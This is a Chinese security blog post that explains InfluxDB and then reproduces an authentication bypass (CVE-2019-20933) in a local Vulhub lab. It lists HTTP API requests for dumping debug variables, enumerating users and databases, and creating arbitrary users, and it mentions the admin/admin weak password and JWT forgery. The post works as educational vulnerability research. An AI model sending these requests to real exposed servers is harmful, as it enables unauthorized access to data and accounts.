记录一次时序数据库的实战测试

最新推荐文章于 2024-05-04 23:19:17 发布
最新推荐文章于 2024-05-04 23:19:17 发布
阅读量1.2k 收藏 1
点赞数
文章标签： 网络安全 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/YJ_12340/article/details/134080890
版权

0x1.前言

本文章仅用于信息安全防御技术分享，因用于其他用途而产生不良后果，作者不承担任何法律责任，请严格遵循中华人民共和国相关法律法规，禁止做一切违法犯罪行为。文中涉及漏洞均以提交至教育漏洞平台。

0x2.背景

在某次Edusrc挖掘过程中，我发现了一个404状态码的ip站如下图所示：

图片

我的直觉告诉我，这个站不太简单。于是我信息搜集了一下端口为8086的常见服务：

图片

当我看到这个InfluxDB的时候，我灵感突然来了，虽然我当时不知道是什么，我尝试着进行抓包看看返回包，但是多尝试一下没想到这个站点还真的是InfluxDB服务！

图片

后续利用我先不讲，我们先好好讲一下InfluxDB是一个怎么样的数据库。

0x3.InfluxDB介绍

InfluxDB是一个由InfluxData开发的开源时序型数据库。它由Go写成，着力于高性能地查询与存储时序型数据。InfluxDB被广泛应用于存储系统的监控数据，IoT行业的实时数据等场景。

在了解了InfluxDB的基本概念之后我们得先了解一下什么是时序性数据库。

为了方便理解我将时序性数据库与大家常用的关系型数据库进行一个以表格的形式进行对比展示：

特征时序性数据库 (TSDB)关系型数据库
数据模型专门设计用于时间序列数据，包括时间戳、测量值、标签和字段。通用数据模型，表格结构，支持多种数据类型。
查询语言使用专门的查询语言，如InfluxQL或Flux，用于时间序列数据的高效查询和分析。使用SQL进行复杂的查询操作，支持多表关联和通用数据分析。
性能和优化针对高性能时间序列数据存储和查询进行了优化，具有高吞吐量和低延迟。面向通用工作负载，不一定专注于高性能时间序列数据处理。
应用领域用于监控、日志分析、传感器数据、度量数据、物联网应用等，其中时间序列数据是核心。用于各种不同类型的应用领域，不限于时间序列数据。
数据完整性和一致性提供数据完整性和一致性，但通常没有像关系型数据库中的ACID属性那么强调。通常强调ACID属性以确保数据的一致性和完整性。
复杂查询支持不支持像关系型数据库中的复杂JOIN操作和多表关联查询。支持复杂的SQL查询，包括JOIN操作和多表查询。
数据建模和模式定义更灵活，数据模型通常根据需求动态定义，不要求固定的模式。需要明确定义模式，表的结构通常静态。
扩展性通常针对高并发和大数据量的时间序列数据设计，支持水平扩展。支持垂直和水平扩展，但可能需要更多配置和优化。
主要优势高性能时间序列数据存储和查询，专注于时间序列应用。通用性、数据完整性、支持复杂查询和关联操作。

然后我也整理了一下MySQL与InfluxDB概念差异和相关概念扩展用一个表格来进行对比展示：

概念MySQLInfluxDB
数据类型和键支持多种数据类型，需要定义主键和外键不同数据类型，数据模型专注于时间序列
关系模型使用关系数据库管理系统 (RDBMS) 模型专注于时间序列数据，没有复杂关系
事务处理支持事务处理，使用ACID属性无事务处理，数据写入是原子操作
SQL查询使用SQL进行数据查询和操作使用InfluxQL或Flux查询语言，特化于时间序列数据
复制和集群支持主从复制、主主复制和集群配置提供高可用性和数据冗余的集群配置
数据存储单位表 (table)Measurement，Series是由Measurement和相关的标签（Tags）组成的具体时间序列数据集合。
基本数据单位列 (column)Tag (标签，可用于高效过滤和索引)、Field (字段，不用于索引)、Timestamp (时间戳，作为唯一主键)
连续查询不适用支持连续查询，可自动汇总历史数据
适用领域通用的关系型数据存储需求高性能、高可用性的时间序列数据存储和查询
主要优势复杂关系模型、事务处理、通用数据存储时间序列数据的高性能、高吞吐量

然后这里整理了一些常见的 InfluxQL Http Api的语句：

GET /query?q=SHOW USERS #查看当前所有的数据库用户
GET /query?q=SHOW DATABASES #查看所有数据库
GET /query?q=SHOW MEASUREMENTS&db=某个db的名称 #查询数据库中所含的表
GET /query?q=SHOW FIELD KEYS&db=某个db的名称 # 查看当前数据库所有表的字段
GET /query?q=show series&db=某个db的名称 # 查看series
GET /debug/vars #debug敏感泄露
POST /query?q=CREATE USER XXX WITH PASSWORD 'XXX' # 这一点需要伪造jwt

0x4.本地漏洞复现

实战的利用过程就不放上来了，放上来也是厚码还不如直接本地复现讲的更清楚。

使用Vulhub在本地虚拟机上搭建：

没有搭建过vulhub靶场可以参考官方文档：https://vulhub.org/#/docs/install-docker/

搭建好后我们直接使用如下命令：

cd /vulhub/influxdb/CVE-2019-20933
docker-compose up -d

开放在默认的8086端口，环境启动后，访问xxx:8086即可开始复现：

图片

虽然是404，但是抓包回显发现是influxdb服务

图片

16

图片

我简单尝试之后发现是弱口令admin/admin。如果发现弱口令不可以的话，可以伪造jwt我就不多赘述了。

然后我们来进行测试：

debug敏感泄露

GET /debug/vars

图片

查看当前所有的数据库用户

GET /query?q=SHOW USERS

图片

查看所有数据库

GET /query?q=SHOW DATABASES

图片

查询数据库中所含的表

GET /query?q=SHOW MEASUREMENTS&db=某个db的名称

图片

查看当前数据库所有表的字段

GET /query?q=SHOW FIELD KEYS&db=某个db的名称

图片

查看series

GET /query?q=show series&db=某个db的名称

图片

任意用户写

POST /query?q=CREATE USER XXX WITH PASSWORD 'XXX'

图片

GET /query?q=SHOW USERS

再来查看一下：

图片

最后别忘了关闭容器：

docker stop cve-2019-20933_web_1

0x6.总结

这篇主要是分享一下经验，也就是说不一定状态码是404的站点就一定不能利用。我相信阅读完此篇然后去复现一下，你对InfluxDB的利用肯定有不一样的理解~

蚁景网络安全
关注
【项目实战】时序数据库入门介绍
本本本添哥
07-21 130
时序数据库是专门用于处理时间序列数据的数据库。时序数据库的数据通常包含一个时间戳和一个或多个数值。时序数据库是专为处理时间序列数据设计的数据库类型时序数据库在架构设计上有着多种实现方式，以满足不同场景下的性能和功能性需求。时序数据库是一种专门为处理时间序列数据而设计的数据库系统。时间序列数据是指按照时间顺序排列的数据序列，如传感器数据、日志数据、股票行情数据等。时序数据库具有高效的数据存储和处理能力，可以快速地存储、查询和分析海量的时间序列数据。
Spring Boot进阶(59)：【实战教程】使用Spring Boot集成InfluxDB时序数据库，打造高效数据监控系统！
**My Coding Family**
08-27 4323
SpringBoot如何集成时序数据库InfluxDB？手把手教学，等你来战！
Questa Sim（时序测试）
一个会写代码的烤鸭
05-31 3792
Questa Sim（时序测试） 作者：Saint 掘金：https://juejin.im/user/5aa1f89b6fb9a028bb18966a 微博：https://weibo.com/5458277467/profile?topnav=1&wvr=6&is_all=1 GitHub：github.com/saint-000 知乎：https://www.zhihu.com/people/saint-80-61/columns Questa Sim和ModelsSim是工业界最优.
时序动作检测
Major_S的博客
01-09 639
时序动作检测时序动作检测时序动作检测
视频时序检测——video temporal detection
qq_27403925的博客
07-30 734
视频分割问题可以看作 ： 参考https://tianchi.aliyun.com/course/video?liveId=41180 事件event、activity、action 视频事件检测+动作识别
关于电信号的电气特性、时序特性测试
weixin_45580061的博客
12-02 789
电气特性指电压、电流、功率等，而时序指的是...
Spring Boot中使用时序数据库InfluxDB
Y1567409的博客
05-02 402
《一线大厂Java面试题解析+核心总结学习笔记+最新讲解视频+实战项目源码》，点击传送门，即可获取！ 在进行下面的动手环节之前，先了解一下InfluxDB中的几个重要名词：database：数据库measurement：类似于关系数据库中的table（表）points：类似于关系数据库中的row（一行数据）其中，一个Point由三个部分组成：time：时间戳fields：记录的值tags：索引的属性动手试试在了解了什么是时序数据库以及InfluxDB一些基础概念之后，下面我们通过一个简单的定时上报监控数据的
数据架构设计与实践时序数据库InfluxDB在微服务建设中的实践V2.pdf
09-07
数据架构设计是构建高效、可扩展的微服务系统的关键部分，而时序数据库在处理时间序列数据方面扮演着重要角色。InfluxDB是一款专为时序数据设计的高性能数据库，常用于监控、日志分析、IoT等领域。本文将探讨在...
猿创征文｜【国产数据库实战】一文学会应用SqlSugar访问及操作人大金仓数据库_国产数据库可以用orm吗
最新发布
2401_84182337的博客
05-04 1051
​ SqlSugar 是一款 老牌 .NET 开源ORM框架，由果糖大数据科技团队维护和更新 ，开箱即用最易上手的ORM框架 ，51Job和Boss直招简历数超过 国外框架 Nhibernate PetaPoco, 仅次于Dapper和EF Core , 占Dapper 40%。相比EF Core【学习成本低一天学会】，多库支持更好 ，在国内拥有不逊色EF Core 的【开源生态】。支持 .NET 百万级【大数据】写入和更新、分表和几十亿查询和统计等 拥有成熟方案。
数字后端——时序验证
沧海一升的博客
09-05 6316
时序验证则是采用时序分析等方法验证设计是否满足时序收敛
时序数据库 性能测试工具 TSBS
王清欢的博客
12-01 3065
TSBS 是一个时序数据处理（数据库）系统的性能基准测试平台，提供了 IoT、DevOps 两个典型应用场景，它由 Timescale 开源并负责维护。作为一个性能基准测试平台，TSBS 具有便捷、易用、扩展灵活等特点，涵盖了时序数据的生成、写入（加载）、多种类别的典型查询等功能，并能够自动汇总最终结果。由于其开放开源的特点，得到了众多数据库厂商的支持，作为专业的产品性能基准测试平台被若干数据库厂商广泛使用。
9大时序异常检测方法汇总
Python学习与数据挖掘
05-06 7805
异常检测（Anomaly detection）是目前时序数据分析最成熟的应用之一，定义是从正常的时间序列中识别不正常的事件或行为的过程。 有效的异常检测被广泛用于现实世界的很多领域，例如量化交易，网络安全检测、自动驾驶汽车和大型工业设备的日常维护。以在轨航天器为例，由于航天器昂贵且系统复杂，未能检测到危险可能会导致严重甚至无法弥补的损害。异常随时可能发展为严重故障，因此准确及时的异常检测可以提醒航天工程师尽早采取措施。 一般而言，很多异常可以通过人工的方式来判断。然而当业务组合复杂、时序规模变大后，依靠传统
时序异常检测汇总
Mark_Australia的博客
08-09 7837
时序异常检测
TDengine时序数据库性能测试
GnayEy的博客
12-13 1184
taosBenchmark 是TDengine专门为测试数据库开发的一个应用程序，用于对TDengine时序数据库进行写入和查询的性能测试，便于用户快速便捷的测试和体验TDengine高性能的特点。本文主要是对TDengine写入和读取的性能测试过程描述。
液晶接口系列——MIPI(三)DSI时序讲解与实际测试
热门推荐
carolven的博客
11-22 2万+
文章目录总述特别说明：测试要求与说明时序状态切换测试分析时钟通道测试LP模式下发参数测试分析Data通道传输图像时序测试分析总结 总述 （一）DSI协议讲解 （二）DSI时钟的计算和常见概念区分 （三）DSI时序讲解与实际测试 本篇章是DSI协议的第三篇，将从实际测试，结合MIPI理论时序，为大家讲解一个正常的MIPI通信过程，是怎样的。方便大家理解MIPI的时序，也作为大家测试、分析MIPI的一个参考。 在此要感谢部分读者，是你们的催更让我有动力继续把DSI系列写完，要不本来差点就流产了。也欢迎新老读者留
如何测量芯片电源的上电时序
谢谢关注“小鱼教你模数电”,各平台同号
09-06 4622
如何测量芯片电源的上电时序
时序数据库测试
兰博儿
04-25 538
时序数据库性能测试基准解读：https://mp.weixin.qq.com/s?src=11&timestamp=1619319212&ver=3029&signature=5Qjm8KyxNuIM95MBh6E8V4F6v-zSFQBDySKOege9vriABV5m6R8BIyYRjjOJCeSPMcuAu9SEaaFynDKzMQJz4tNMoUtkWPbFsVacEa6lL*kIvUT7R-wjIc7ZhxekPrdZ&new=1 时序数据库技术要求与..
时序数据库DolphinDB和TimescaleDB 性能对比测试报告
cpongo011702
04-26 709
在本文中，我们对 TimescaleDB 和 DolphinDB在时间序列数据集上进行了性能对比测试。测试涵盖了 CSV 数据文件的导入导出、磁盘空间占用、查询性能等三方面。在我们进行的所有测试中，DolphinDB 表现得更出色，主要结论如下：数据导入方面，小数据集情况下 DolphinDB 的导入性能是 TimescaleDB 的 10多 倍 ，大数据集的情况下导入性能是其 100多 倍 ，而...
时序数据库InfluxDB性能测试
07-27
时序数据库InfluxDB的性能测试是通过在特定环境下对其进行写入和查询测试来评估其性能表现。在一个具体的测试环境中，使用了4核16G的CPU内存和1Gbit/s的带宽，操作系统为Ubuntu 4.8.4-2ubuntu1~14.04.3。测试结果显示，InfluxDB在处理时序数据方面表现出色。 引用\[2\]中提到了对InfluxDB的性能测试报告。测试环境包括写入测试和查询测试。在写入测试中，通过模拟大量的写入操作来测试InfluxDB的写入性能。在查询测试中，通过执行各种类型的查询操作来测试InfluxDB的查询性能。 InfluxDB是用Go语言编写的一个开源分布式时序、事件和指标数据库，无需外部依赖。它专门设计用于处理时序数据，并且在处理大量数据和多样化数据类型方面表现出色。相比传统的关系型数据库，InfluxDB在时序数据处理方面具有更高的性能和效率。 总结来说，时序数据库InfluxDB在性能测试中展现出了优秀的表现，特别适用于处理时序数据。它的高性能和高效率使其成为许多应用场景中的首选数据库。 #### 引用[.reference_title] - *1* [【数据库】时序数据库InfluxDB 性能测试和为什么时序数据库更快、时序数据库应用场景...](https://blog.csdn.net/weixin_42319496/article/details/119372355)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insertT0,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* *3* [性能爆表-时序数据库InfluxDB](https://blog.csdn.net/kobe_okok/article/details/117233188)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insertT0,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值